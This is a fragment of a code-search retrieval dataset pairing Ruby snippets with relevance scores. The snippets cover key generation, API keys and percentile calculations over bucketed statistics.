"text": "def generate_new_keys(\n name:,\n email: \"\",\n comment: \"\",\n creation_date: Time.now,\n key_validity_seconds: 1.year\n )\n\n generated =\n Rnp.new.generate_key(\n default_key_params(\n name: name,\n email: email,\n comment: comment,\n creation_date: creation_date,\n key_validity_seconds: key_validity_seconds,\n ),\n )\n\n %i[primary sub].map do |key_type|\n raw = generated[key_type]\n creation_hash = creation_params(\n raw: raw, activation_date: creation_date, metadata: raw.json,\n )\n\n RK::Key::PGP.create(creation_hash)\n end\n end",
"title": ""
},
{
"docid": "4d077271c6ffc0b76f1bb01a9a387239",
"score": "0.53192884",
"text": "def test_key\n mrn = '5555'\n pmi = @pnt.add_mrn(defaults.tissue_bank, '5555')\n assert_equal(pmi.key, @pnt.key, 'Person key is not the MRN')\n # add the preferred SSN key\n expected = @pnt.social_security_number = '555-55-5555'\n assert_equal(expected, @pnt.key, 'Person key is not the SSN')\n end",
"title": ""
},
{
"docid": "f211db1750e78f89b523b2975bf8176b",
"score": "0.53185874",
"text": "def create_key\n self.key = Digest::MD5.hexdigest(self.official_id.to_s + self.sent_to_email)\n end",
"title": ""
},
{
"docid": "614bd98dd498505438799797a7ceed37",
"score": "0.5316844",
"text": "def update_key_cert\n converge_by(\"Update #{new_resource} cert key method\") do\n\t kid = new_resource.keyid\n\t cid = new_resource.certid\n caid = new_resource.cacertid if !new_resource.cacertid.nil?\n\t todel='-alt'\n\t if @current_resource.exists\n\t if !load_balancer.client['LocalLB.ProfileClientSSL'].get_key_file([\"/Common/#{new_resource.sslprofile_name}\"])[0].value.include?(\"#{new_resource.sslprofile_name}-alt\")\n\t\tkid = new_resource.sslprofile_name+'-alt.key'\n\t\tcid = new_resource.sslprofile_name+'-alt.crt'\n\t\tcaid = new_resource.sslprofile_name+'-alt.crt' if !new_resource.cacertid.nil?\n\t\ttodel = ''\n\t end\n\t end\n Chef::Log.info \"Update #{new_resource} cert key method with PASSPHRASE #{new_resource.passphrase}\"\n load_balancer.client['LocalLB.ProfileClientSSL'].set_key_certificate_file([new_resource.sslprofile_name], [{\"value\" => \"/Common/#{kid}\", \"default_flag\" => \"false\"}] , [{\"value\" => \"/Common/#{cid}\", \"default_flag\" => \"false\"}])\n load_balancer.client['LocalLB.ProfileClientSSL'].set_passphrase([\"/Common/#{new_resource.sslprofile_name}\"], [{\"value\" => \"#{new_resource.passphrase}\", \"default_flag\" => \"false\" }]) if !new_resource.passphrase.nil?\n load_balancer.client['LocalLB.ProfileClientSSL'].set_chain_file_v2([\"/Common/#{new_resource.sslprofile_name}\"], [{\"value\" => \"/Common/#{caid}\", \"default_flag\" => \"false\" }]) if !new_resource.cacertid.nil?\n\t \n\t ssl_d = load_balancer.ltm.ssls(\"MANAGEMENT_MODE_DEFAULT\").find { |p| p =~ /(^|\\/)#{new_resource.sslprofile_name}#{todel}$/ } \n\t if !ssl_d.nil?\n\t \tload_balancer.client['Management.KeyCertificate'].key_delete(\"MANAGEMENT_MODE_DEFAULT\", [\"/Common/#{new_resource.sslprofile_name}#{todel}\"])\n\t \tload_balancer.client['Management.KeyCertificate'].certificate_delete(\"MANAGEMENT_MODE_DEFAULT\", [\"/Common/#{new_resource.sslprofile_name}#{todel}\"])\n\t end\n current_resource.keyid(new_resource.keyid)\n current_resource.certid(new_resource.certid)\n current_resource.passphrase(new_resource.passphrase)\n current_resource.cacertid(new_resource.cacertid)\n\n new_resource.updated_by_last_action(true)\n end\n end",
"title": ""
},
{
"docid": "a7d7e72daa82a63ccadaba70275ce862",
"score": "0.53149015",
"text": "def secret_key_base=(_arg0); end",
"title": ""
},
{
"docid": "a7d7e72daa82a63ccadaba70275ce862",
"score": "0.53149015",
"text": "def secret_key_base=(_arg0); end",
"title": ""
},
{
"docid": "f549b5857b8b09127bc5cf583531858b",
"score": "0.53143877",
"text": "def generate\n @password = (1..@length).map { (33 + rand(89)).chr }.join \n check_password_contents\n @password\n end",
"title": ""
},
{
"docid": "52c750d5ec427aa85f6962bc3629f1c7",
"score": "0.53142756",
"text": "def generate_code\n # only need to do this if code not set\n return if code\n ensure_unique_code\n end",
"title": ""
},
{
"docid": "eecb2a4f081746adb9a89bccf82d3b97",
"score": "0.530938",
"text": "def generate_product_code\n @driver.find_element(id: @product_code).send_keys(Faker::Code.npi)\n end",
"title": ""
},
{
"docid": "0d2daf9cc91a093f3d4627b08585ff00",
"score": "0.53076726",
"text": "def gen_key\n # get 2 random primes\n p, q = Prime.each.take_while {|x| x <= KEY_SPACE}.sample(2)\n # special easy case of Euler's totient function\n phi = (p-1)*(q-1)\n # calculate modulus, public key, and private key\n n = p*q\n e = get_public(phi)\n d = get_private(phi, e)\n # print results\n puts \"modulus: #{n}\"\n puts \"public key: #{e}\"\n puts \"private key: #{d}\"\n puts \"(internal information)\"\n puts \"phi: #{phi}\"\n puts \"p,q: #{p},#{q}\"\nend",
"title": ""
},
{
"docid": "6ea6f56cddf0fe44bd63da3437d8384e",
"score": "0.5302402",
"text": "def set_code \n puts \"\\nYou have chosen to be the new CodeBreaker!\\nNow wait for me to create a code for you to crack \"\n @code = @role.random_code\n end",
"title": ""
},
{
"docid": "5d60c343d76c153ab6d6455592bf33bf",
"score": "0.5300957",
"text": "def generate_invitation_key\n self.invitation_key ||= 'I'.freeze + SecureRandom.base64(8)\n end",
"title": ""
},
{
"docid": "7974af2de4adf686d76496f45ba89d9c",
"score": "0.5256946",
"text": "def randkey\n timeout_retry(3, 3){\n write \"RANDOMKEY\\r\\n\"\n single_line_reply\n }\n end",
"title": ""
},
{
"docid": "23a305de526c89f19edff8ad0c79afa2",
"score": "0.52524275",
"text": "def regenerate_api_key!\n self.regenerate_api_key\n self.save\n end",
"title": ""
},
{
"docid": "2b4a69804f47c76e9d58f3ccfdb7da34",
"score": "0.52511954",
"text": "def ORIGbind_key keycode, *args, &blk # -- {{{\n #$log.debug \" #{@name} bind_key received #{keycode} \"\n @_key_map ||= {}\n #\n # added on 2011-12-4 so we can pass a description for a key and print it\n # The first argument may be a string, it will not be removed\n # so existing programs will remain as is.\n @key_label ||= {}\n if args[0].is_a?(String) || args[0].is_a?(Symbol)\n @key_label[keycode] = args[0] \n else\n @key_label[keycode] = :unknown\n end\n\n if !block_given?\n blk = args.pop\n raise \"If block not passed, last arg should be a method symbol\" if !blk.is_a? Symbol\n #$log.debug \" #{@name} bind_key received a symbol #{blk} \"\n end\n case keycode\n when String\n # single assignment\n keycode = keycode.getbyte(0) #if keycode.class==String ## 1.9 2009-10-05 19:40 \n #$log.debug \" #{name} Widg String called bind_key BIND #{keycode}, #{keycode_tos(keycode)} \"\n #$log.debug \" assigning #{keycode} \" if $log.debug? \n @_key_map[keycode] = blk\n when Array\n # double assignment\n # for starters lets try with 2 keys only\n raise \"A one key array will not work. Pass without array\" if keycode.size == 1\n a0 = keycode[0]\n a0 = keycode[0].getbyte(0) if keycode[0].class == String\n a1 = keycode[1]\n a1 = keycode[1].getbyte(0) if keycode[1].class == String\n @_key_map[a0] ||= OrderedHash.new\n #$log.debug \" assigning #{keycode} , A0 #{a0} , A1 #{a1} \" if $log.debug? \n @_key_map[a0][a1] = blk\n #$log.debug \" XX assigning #{keycode} to _key_map \" if $log.debug? \n else\n #$log.debug \" assigning #{keycode} to _key_map \" if $log.debug? \n @_key_map[keycode] = blk\n end\n @_key_args ||= {}\n @_key_args[keycode] = args\n\n end",
"title": ""
},
{
"docid": "94d8fab9c0b6f5cc8123354b348fa194",
"score": "0.5249597",
"text": "def get_key(aliaz, password)\n\n end",
"title": ""
},
{
"docid": "3c41c6409ba37de33a04a547ee746c9c",
"score": "0.5245054",
"text": "def regenerate_api_key\n generate_api_key\n self.save\n end",
"title": ""
}
] |
ecaefdf4b61a793e93cc5f80327df7e8
|
Returns a percentile interval, i.e. the lower bound and the upper bound of the values that represent the x%interval for the bucketized dataset. A 90% interval means that 5% of the values would have been lower than the lower bound and 5% would have been higher than the upper bound, leaving 90% of the values within the bounds. You can also provide a Range to specify the lower bound and upper bound percentages (e.g. 5..95).
|
[
{
"docid": "ca9586b64e4febffab459484ce7ed33b",
"score": "0.79929364",
"text": "def percentile_interval(category, x)\n case x\n when Range\n lower, upper = percentile_indices(category, x.begin, x.end)\n Range.new(bucket_lower_bound(lower), bucket_upper_bound(upper))\n when Numeric\n percentile_interval(category, Range.new((100 - x) / 2, (100 - (100 - x) / 2)))\n else \n raise 'What does it mean?'\n end\n end",
"title": ""
}
] |
[
{
"docid": "913761793e411f1469ad76cc805eef4d",
"score": "0.6866369",
"text": "def percentile bin, rank\n ((count_less_than(bin,rank) + 0.5*frequency_of(bin,rank))/ total_num(bin) )*100.0 \n end",
"title": ""
},
{
"docid": "1bb4ab3d0290d8c782a1961c471d9295",
"score": "0.66054904",
"text": "def percentile(x)\n return (Distribution::Normal.cdf(self.z_score(x))*100).round\n end",
"title": ""
},
{
"docid": "c6687e0310f154c0c23ea43b895e99ef",
"score": "0.6556106",
"text": "def sorted_percentile(percentile)\n at_fraction(percentile / 100.0)\n end",
"title": ""
},
{
"docid": "90bff9e5ac7c913f8031788302fd4f46",
"score": "0.65412736",
"text": "def percentile(values, percentile)\n values_sorted = values.sort\n k = (percentile*(values_sorted.length-1)+1).floor - 1\n f = (percentile*(values_sorted.length-1)+1).modulo(1)\n values_sorted[k] + (f * (values_sorted[k+1] - values_sorted[k]))\nend",
"title": ""
},
{
"docid": "36273a67cd57f6ebaf89228497d7bfa7",
"score": "0.65404093",
"text": "def get_95th_percentile\n value(0.95)\n end",
"title": ""
},
{
"docid": "41a5286530b75e147d9ba7cf1c9838e5",
"score": "0.6524577",
"text": "def bounds(values)\n q1 = values.percentile(25)\n q3 = values.percentile(75)\n iqr = q3 - q1\n lower = q1 - (iqr * 1.5)\n upper = q3 + (iqr * 1.5)\n inrange = values.select { |v| v >= lower && v <= upper }\n lower = [lower, inrange.min].max\n upper = [upper, inrange.max].min\n belowrange = values.select { |v| v < lower }\n aboverange = values.select { |v| v > upper }\n [belowrange, lower, upper, aboverange]\nend",
"title": ""
},
{
"docid": "fcd7bb9e7ca2843fa1dbaaf7ef332658",
"score": "0.651769",
"text": "def percentile(q, strategy = :midpoint)\n sorted = only_valid(:array).sort\n\n case strategy\n when :midpoint\n v = (n_valid * q).quo(100)\n if(v.to_i!=v)\n sorted[v.to_i]\n else\n (sorted[(v-0.5).to_i].to_f + sorted[(v+0.5).to_i]).quo(2)\n end\n when :linear\n index = (q / 100.0) * (n_valid + 1)\n\n k = index.truncate\n d = index % 1\n\n if k == 0\n sorted[0]\n elsif k >= sorted.size\n sorted[-1]\n else\n sorted[k - 1] + d * (sorted[k] - sorted[k - 1])\n end\n else\n raise NotImplementedError.new \"Unknown strategy #{strategy.to_s}\"\n end\n end",
"title": ""
},
{
"docid": "512950875d7cc4a1adb3fbf5358d5732",
"score": "0.6512414",
"text": "def percentile(perc)\n snapshot.percentile(perc)\n end",
"title": ""
},
{
"docid": "d32f9e4da2554be0ef2a1f1fc2e68b3f",
"score": "0.64866585",
"text": "def percentile(values, percentile)\n values_sorted = values.sort\n k = (percentile*(values_sorted.length-1)+1).floor - 1\n f = (percentile*(values_sorted.length-1)+1).modulo(1)\n\n return values_sorted[k] + (f * (values_sorted[k+1] - values_sorted[k]))\n end",
"title": ""
},
{
"docid": "c2f8c48ded98cb1de2295df2ebcf5319",
"score": "0.6357126",
"text": "def get_99th_percentile\n value(0.99)\n end",
"title": ""
},
{
"docid": "1205d10512739cd95f3587dbc809c378",
"score": "0.63285756",
"text": "def percentile\n natl_avg = self.get_national_avg\n return natl_avg.percentile(self.value)\n end",
"title": ""
},
{
"docid": "c077e92c09088bf8cd17834412d77444",
"score": "0.6308065",
"text": "def percentile_index(category, x, inclusive = false)\n total_encountered = 0\n @categories[category][:buckets].each_with_index do |count, index|\n total_encountered += count\n percentage = ((total_encountered.to_f / hits(category).to_f) * 100).floor\n return index if (inclusive && percentage >= x) || (!inclusive && percentage > x)\n end\n end",
"title": ""
},
{
"docid": "b79f5998da328675ff0d8e92119f7d4c",
"score": "0.63008773",
"text": "def percentile(threshold)\n if (count > 1)\n self.sort!\n # strip off the top 100-threshold\n threshold_index = (((100 - threshold).to_f / 100) * count).round\n self[0..-threshold_index].last\n else\n self.first\n end\n end",
"title": ""
},
{
"docid": "3a79f4f66d2d91b4d1605c4782b8bc9e",
"score": "0.6247146",
"text": "def percentile(p)\n self.sort[(p * self.length).ceil - 1]\n end",
"title": ""
},
{
"docid": "d132dec844f68fc42d3c68d533dbbd9e",
"score": "0.6190476",
"text": "def percentile?(value)\n hash_key = generate_key(value)\n\n count = 0.0\n\n @histogram_hash.each do |key, value|\n if key[0] <= hash_key[0]\n count += value\n end\n end\n answer = count / @total_item_count * 100\n return answer.round(1)\n end",
"title": ""
},
{
"docid": "c6bf496759322b7e4a66349082f7a364",
"score": "0.6184552",
"text": "def quantile(&block)\n [\n min(&block), \n first_half(&block).median(0.25, &block), \n median(&block), \n second_half(&block).median(0.75, &block), \n max(&block)\n ]\n end",
"title": ""
},
{
"docid": "61bd70ed45bf9665451ede104a4ae2fe",
"score": "0.6183633",
"text": "def get_98th_percentile\n value(0.98)\n end",
"title": ""
},
{
"docid": "a8293d9267b7e08bd0a7ece203ce5343",
"score": "0.6153543",
"text": "def percentile(p)\n x = (@data.size + 1) * (p / 100.0)\n j = x.floor\n g = x - j\n\n (1 - g) * @data[j - 1] + g * @data[j]\n end",
"title": ""
},
{
"docid": "e7a884f8317c6af051fada1f386cafa0",
"score": "0.61498946",
"text": "def get_75th_percentile\n value(0.75)\n end",
"title": ""
},
{
"docid": "a343ebe71284cf96615ef54037558be2",
"score": "0.6143865",
"text": "def percentile_score; end",
"title": ""
},
{
"docid": "0c9daa33c258fd985af8540df5c6f3cd",
"score": "0.61182487",
"text": "def get_999th_percentile\n value(0.999)\n end",
"title": ""
},
{
"docid": "c5ae73c16aca15adba97966e8b1c10d4",
"score": "0.6086997",
"text": "def calculate_percentile_score(list_of_values , compared_value)\n less, same = split_values(list_of_values, compared_value)\n weightage = 45\n\n ((less + (0.5 * same))/list_of_values.length * weightage).round(2)\n end",
"title": ""
},
{
"docid": "feafe4b393349ee89cae06924c976a41",
"score": "0.5995992",
"text": "def percentile\n scores = quiz.scores.sort\n ((scores.index(score) + 1) * 100) / scores.length\n end",
"title": ""
},
{
"docid": "51d24d8aabc4bed61282d2ee37cc648b",
"score": "0.5995295",
"text": "def percentile(a,p)\n raise \"%f must be in [0,100]\"%p if p<0.0 or p>100.0\n return nil if a.empty? \n return a[0] if a.length==1\n r=(p.to_f/100.0)*(a.length-1)+1\n i=r.to_i\n f=(r-i).abs\n return a[i-1] if f==0.0 \n return f*(a[i]-a[i-1])+a[i-1] \nend",
"title": ""
},
{
"docid": "51d24d8aabc4bed61282d2ee37cc648b",
"score": "0.5995295",
"text": "def percentile(a,p)\n raise \"%f must be in [0,100]\"%p if p<0.0 or p>100.0\n return nil if a.empty? \n return a[0] if a.length==1\n r=(p.to_f/100.0)*(a.length-1)+1\n i=r.to_i\n f=(r-i).abs\n return a[i-1] if f==0.0 \n return f*(a[i]-a[i-1])+a[i-1] \nend",
"title": ""
},
{
"docid": "a351afd9a9175a069c9b71fb539eaa46",
"score": "0.59904474",
"text": "def percentile_index(percentile, round=true)\n r = percentile.to_f/100 * count + 0.5\n round ? r.round : r\n end",
"title": ""
},
{
"docid": "079c8d63c47162bd479be5477f1aa337",
"score": "0.5979096",
"text": "def percentile(list, pct)\n len = list.length\n how_far = pct * 0.01 * (len - 1)\n prev_item = how_far.to_i\n return list[prev_item] if prev_item >= len - 1\n return list[0] if prev_item < 0\n\n linear_combination = how_far - prev_item\n list[prev_item] + (list[prev_item + 1] - list[prev_item]) * linear_combination\nend",
"title": ""
},
{
"docid": "6a2429a041adc0540e67887cc3929cea",
"score": "0.58921236",
"text": "def percentile(p)\n sorted = self.sort\n n = p*(sorted.size+1)\n # alternate method used by Excel:\n # n = p*(sorted.size-1)+1\n k = n.floor\n d = n-k\n if (k==0.0)\n sorted.first\n elsif (k>=sorted.size)\n sorted.last\n else\n # note that our indexes are 0-based, rather than 1-based\n i=k-1\n sorted[i]+d*(sorted[i+1]-sorted[i])\n end\n end",
"title": ""
},
{
"docid": "6a2429a041adc0540e67887cc3929cea",
"score": "0.58921236",
"text": "def percentile(p)\n sorted = self.sort\n n = p*(sorted.size+1)\n # alternate method used by Excel:\n # n = p*(sorted.size-1)+1\n k = n.floor\n d = n-k\n if (k==0.0)\n sorted.first\n elsif (k>=sorted.size)\n sorted.last\n else\n # note that our indexes are 0-based, rather than 1-based\n i=k-1\n sorted[i]+d*(sorted[i+1]-sorted[i])\n end\n end",
"title": ""
},
{
"docid": "048e13d81559340073b0fc111fdbd612",
"score": "0.5875517",
"text": "def to_percentile(v)\n \"#{(v * 100.0).round(2)} %\"\n end",
"title": ""
},
{
"docid": "0dc08b5684e1a4a309f0c10ba6acdc2a",
"score": "0.586778",
"text": "def percentile(percentage)\n size = self.size\n\n if size > 1\n index = size * percentage / 100.0\n self.sort[index]\n else\n self.first\n end\n end",
"title": ""
},
{
"docid": "5e7c2baee722b69a02afd8c19e4b73f8",
"score": "0.58619976",
"text": "def percentile(perc)\n if perc > 100.0 || perc < 0.0\n raise InvalidPercentile, \"percentile must be between 0.0 and 100.0\"\n end\n return 0.0 if data.empty?\n\n rank = (perc / 100.0) * (size + 1)\n\n return data[0] if rank < 1\n return data[-1] if rank > size\n return data[rank - 1] if rank == Integer(rank)\n weighted_average_for(rank)\n end",
"title": ""
},
{
"docid": "e380a9e32cdccbdc0585acaedb7005bf",
"score": "0.58605504",
"text": "def set_Percentile(value)\n set_input(\"Percentile\", value)\n end",
"title": ""
},
{
"docid": "e380a9e32cdccbdc0585acaedb7005bf",
"score": "0.58605504",
"text": "def set_Percentile(value)\n set_input(\"Percentile\", value)\n end",
"title": ""
},
{
"docid": "e380a9e32cdccbdc0585acaedb7005bf",
"score": "0.58605504",
"text": "def set_Percentile(value)\n set_input(\"Percentile\", value)\n end",
"title": ""
},
{
"docid": "e380a9e32cdccbdc0585acaedb7005bf",
"score": "0.58605504",
"text": "def set_Percentile(value)\n set_input(\"Percentile\", value)\n end",
"title": ""
},
{
"docid": "5599a7e2f5b1a0c05f2ee5e10bd6a960",
"score": "0.5842185",
"text": "def percentile(percentile=0.0)\n\t if percentile == 0.0\n\t return self.sort.first\n else\n if elems_are_enumerable\n return self[((self.length * percentile).ceil)-1]\n else\n return self ? self.sort[((self.length * percentile).ceil)-1] : nil rescue nil\n end\n end\n end",
"title": ""
},
{
"docid": "00c4dbe46d5caf50a5bf6b086e081b12",
"score": "0.5837308",
"text": "def range_rounded_to_multiples_of_100(low, high)\n floor_hundred(low)..ceil_hundred(high)\n end",
"title": ""
},
{
"docid": "ff2171492237c8024e1e386fedbd50ed",
"score": "0.58287966",
"text": "def calculate_percentiles arr\n final = []\n count = arr.count\n arr.each_with_index do |v,i|\n percentile = (count - i) / count.to_f\n final.push([v,percentile])\n end\n return final\n end",
"title": ""
},
{
"docid": "e1afc9c30af71fa002cc3e5520506124",
"score": "0.5817283",
"text": "def percentile(ranking, item)\n ranking.percentile(item)\n end",
"title": ""
},
{
"docid": "9d48324b473bcdb5e741decf3d5f4824",
"score": "0.5809648",
"text": "def method_missing(method, *args, &block)\n if method.to_s =~ /^percentile_(.+)$/\n percentile($1.to_i)\n else\n super \n end\n end",
"title": ""
},
{
"docid": "639b4dec666de2756dfb45d588dbfbbc",
"score": "0.5764976",
"text": "def BP(range)\n el0 = self.EL(zero_range)\n if range < zero_range\n el1 = 0.0\n else\n el1 = self.EL(range)\n end\n ((el0 - el1) * range.to_f) / 100.0\n end",
"title": ""
},
{
"docid": "c79555d46fcac8e957eb28c9f880c59e",
"score": "0.57357556",
"text": "def percentile(weighted_array, pct)\n rows = weighted_array[:rows]\n total_weight = weighted_array[:total_weight]\n target_weight = total_weight * pct\n\n current_weight = 0\n target = nil\n rows.each_with_index do |row, index|\n value = row[0]\n weight = row[1]\n if current_weight + weight < target_weight\n current_weight += weight\n elsif current_weight + weight == target_weight\n target = 0.5 * (value + rows[index + 1][0])\n break\n else\n target = value\n break\n end\n end\n target\nend",
"title": ""
},
{
"docid": "ed2f73808845a39003ca8e1e8fca6890",
"score": "0.57334894",
"text": "def reverse_percentile(value=0.0)\n\t return nil if self.empty?\n index_value = nil\n self.collect(&:to_f).sort.each do |val|\n index_value = val;break if value <= val\n end\n return (self.index(index_value)/self.length.to_f)\n end",
"title": ""
},
{
"docid": "ac3f70db285f84be09e60149f85f03fd",
"score": "0.5636583",
"text": "def percentile a, p\n rank = (p.to_f / 100) * (a.length + 1)\n \n if a.length == 0\n return nil\n elsif rank.modulo(1) != 0\n\n\n sample_0 = a[rank.truncate - 1]\n sample_1 = a[rank.truncate]\n\n\n return sample_0 if sample_1.nil?\n return (sample_1 + sample_0) / 2\n else\n return a[rank - 1]\n end \n end",
"title": ""
},
{
"docid": "2418de3b50a3c12cf3ef6ed3ee464d62",
"score": "0.5596089",
"text": "def upper_quartile\n sorted = self.sort\n midpoint = if sorted.length.even?\n sorted.length/2\n else\n sorted.length/2 + 1\n end\n sorted[midpoint..-1].median\n end",
"title": ""
},
{
"docid": "5061e019d21e99b3a78f0c311c9776cd",
"score": "0.55668074",
"text": "def percentile(event_collection, params, options={})\n query(__method__, event_collection, params, options)\n end",
"title": ""
},
{
"docid": "5eb0da4ec8a572151b9557933fa10ea2",
"score": "0.55475503",
"text": "def percentile(p = 50)\n (0...100).include?(p) or\n raise ArgumentError, \"p = #{p}, but has to be in (0...100)\"\n p /= 100.0\n sorted_elements = sorted\n r = p * (sorted_elements.size + 1)\n r_i = r.to_i\n r_f = r - r_i\n if r_i >= 1\n result = sorted_elements[r_i - 1]\n if r_i < sorted_elements.size\n result += r_f * (sorted_elements[r_i] - sorted_elements[r_i - 1])\n end\n else\n result = sorted_elements[0]\n end\n result\n end",
"title": ""
},
{
"docid": "8e5e4a80b3d1cc7f27bf85be87bde058",
"score": "0.5542734",
"text": "def percentile p\n return nil if length == 0\n sorted_array = self.sort\n rank = (p.to_f / 100) * (self.length + 1)\n \n if rank.fractional_part?\n sample_0 = sorted_array[rank.truncate - 1]\n sample_1 = sorted_array[rank.truncate]\n\n return (rank.fractional_part * (sample_1 - sample_0)) + sample_0\n else\n return sorted_array[rank - 1]\n end \n end",
"title": ""
},
{
"docid": "dc6b324183351a1d444c6650d7da4dcf",
"score": "0.55399567",
"text": "def monthly_percentiles(register_name:)\n register_id = Register.first(name: register_name).id\n\n sql = <<-SQL\n WITH daily AS (\n SELECT date(time) AS date, abs(sum(watt_hours)) AS wh\n FROM series\n WHERE register_id = ?\n AND date_trunc('year', time) > now() - interval '18 months'\n GROUP BY 1\n ORDER BY 1\n )\n SELECT date_trunc('month', date) AS month,\n percentile_cont(array[0,0.25,0.50,0.75,1.0]) WITHIN GROUP (ORDER BY wh) AS percentiles\n FROM daily\n GROUP BY 1\n ORDER BY 1\n SQL\n\n data = Sequel::Model.db[sql, register_id].map do |row|\n { x: row[:month].to_i * 1000,\n low: row[:percentiles][0],\n q1: row[:percentiles][1],\n median: row[:percentiles][2],\n q3: row[:percentiles][3],\n high: row[:percentiles][4] }\n end\n\n { series: [{ data: data }] }\n end",
"title": ""
},
{
"docid": "13c9ad8992e609bec752db8065009c29",
"score": "0.5536517",
"text": "def get_percentiles(distro, samples)\n # Some details on how we store and calculate percentiles...\n # The brute-force approach would be to save all our latency samples in\n # memory. In a large sample set, that could be GB's of memory.\n # So, instead, we use a histogram where each possible latency value\n # has its own counter/bin.\n # At any samples size, the work involves iterating through a hash\n # no larger than the number of unique millisecond latency values.\n #\n # Assume that latency only has 10 possible values (0ms-9ms)\n # the distribution input data might look like:\n # #\n # # # #\n # # # # # #\n # # # # # # #\n # 2 3 4 6 7 9\n #\n # (the Y axis is the counter value and the X axis is millisecond value)\n # Knowing the expected number of samples, we walk through the distribution\n # finding each percentile (and we grab the max while we're at it)\n #\n # Args:\n # - samples, integer, sample size\n # - distro, hash of integers, where the key represents a latency in ms.\n # Returns: an array of integers [median, 75th, 95th, 99th, max]\n\n thresholds = [\n 0.50 * samples, # median\n 0.75 * samples, # 75th percentile\n 0.95 * samples, # 95th percentile\n 0.99 * samples # 99th percentile\n ]\n stats = []\n\n # request_counter is the running counter of how many requests we've\n # counted, which figures into our percentile calculation.\n request_counter = 0\n max = nil\n keys = distro.keys.sort\n keys.each do |key|\n val = distro[key]\n next if val.zero?\n request_counter += val\n max = key # the last no-zero entry will be our max\n\n # it is possible that more than one percentile is represented\n # here, thus the while loop!\n while thresholds.length > 0\n # as each new threshold is reached, we record the key\n # at which that threshold was crossed, which is the millisecond\n # value, in other words: the given percentile value.\n if request_counter >= thresholds[0]\n stats << key\n thresholds.shift\n else\n break\n end\n end\n end\n stats << max\nend",
"title": ""
},
{
"docid": "454c05bc8cc391571a9529f3a036a7ea",
"score": "0.54965967",
"text": "def grade_distribution_array(intervals = 20)\n data = grades.where.not(grade: nil)\n .pluck(:grade)\n .map { |g| calculate_total_percent(g) }\n data.extend(Histogram)\n histogram = data.histogram(intervals, :min => 1, :max => 100, :bin_boundary => :min, :bin_width => 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count{ |x| x < 1 }\n distribution[-1] = distribution.last + data.count{ |x| x > 100 }\n\n distribution\n end",
"title": ""
},
{
"docid": "454c05bc8cc391571a9529f3a036a7ea",
"score": "0.54965967",
"text": "def grade_distribution_array(intervals = 20)\n data = grades.where.not(grade: nil)\n .pluck(:grade)\n .map { |g| calculate_total_percent(g) }\n data.extend(Histogram)\n histogram = data.histogram(intervals, :min => 1, :max => 100, :bin_boundary => :min, :bin_width => 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count{ |x| x < 1 }\n distribution[-1] = distribution.last + data.count{ |x| x > 100 }\n\n distribution\n end",
"title": ""
},
{
"docid": "0b72bb2d95c775331d70408d6b925870",
"score": "0.5478389",
"text": "def quartiles(arr)\n sorted = arr.sort\n length = sorted.length\n mid = length/2\n\n # As there are an odd number of data points, we do not include the median (the central value in the ordered list) in either half:\n if length % 2 != 0\n lower = sorted[0...mid]\n upper = sorted[mid+1...length]\n else\n lower = sorted[0...mid]\n upper = sorted[mid...length]\n end\n\n q1 = median(lower)\n q2 = median(sorted)\n q3 = median(upper)\n \n [q1, q2, q3]\nend",
"title": ""
},
{
"docid": "3d96783fcd5b27732f2211a50ac8847f",
"score": "0.5477457",
"text": "def bucket_interval(index)\n Range.new(bucket_lower_bound(index), bucket_upper_bound(index), true)\n end",
"title": ""
},
{
"docid": "01ba09c06536f03c43456cac4808c619",
"score": "0.54565954",
"text": "def percent_interval(histories, category_type_id)\n data, key_interval = intervalize(histories)\n correct_interval = data.values.map do |i|\n correct_percent(i, category_type_id)\n end\n\n return correct_interval, key_interval\n end",
"title": ""
},
{
"docid": "01ba09c06536f03c43456cac4808c619",
"score": "0.54565954",
"text": "def percent_interval(histories, category_type_id)\n data, key_interval = intervalize(histories)\n correct_interval = data.values.map do |i|\n correct_percent(i, category_type_id)\n end\n\n return correct_interval, key_interval\n end",
"title": ""
},
{
"docid": "069fb83e4a4ad4f2a248db4ff028e9c0",
"score": "0.54523844",
"text": "def grade_distribution_array(intervals = 20)\n data = percentage_grades_array\n data.extend(Histogram)\n histogram = data.histogram(intervals, :min => 1, :max => 100, :bin_boundary => :min, :bin_width => 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count{ |x| x < 1 }\n distribution[-1] = distribution.last + data.count{ |x| x > 100 }\n\n return distribution\n end",
"title": ""
},
{
"docid": "069fb83e4a4ad4f2a248db4ff028e9c0",
"score": "0.54523844",
"text": "def grade_distribution_array(intervals = 20)\n data = percentage_grades_array\n data.extend(Histogram)\n histogram = data.histogram(intervals, :min => 1, :max => 100, :bin_boundary => :min, :bin_width => 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count{ |x| x < 1 }\n distribution[-1] = distribution.last + data.count{ |x| x > 100 }\n\n return distribution\n end",
"title": ""
},
{
"docid": "02931ac3471a662c2d1f30ef4f8726ed",
"score": "0.53970194",
"text": "def interquartile_range( already_sorted = false )\n return nil if size < 4\n a = sort_and_extend( already_sorted )\n a.last_quartile - a.first_quartile\n end",
"title": ""
},
{
"docid": "3f25edc9c4ad8c4a806ebb7351f0448c",
"score": "0.5385568",
"text": "def pareto_cutoff\n #our world is a bit more unfair. 0.8 moved to 0.9.\n self.percentile(0.9)\n end",
"title": ""
},
{
"docid": "19fa18c860c1e41bc08fb5b2dbf380c4",
"score": "0.5383441",
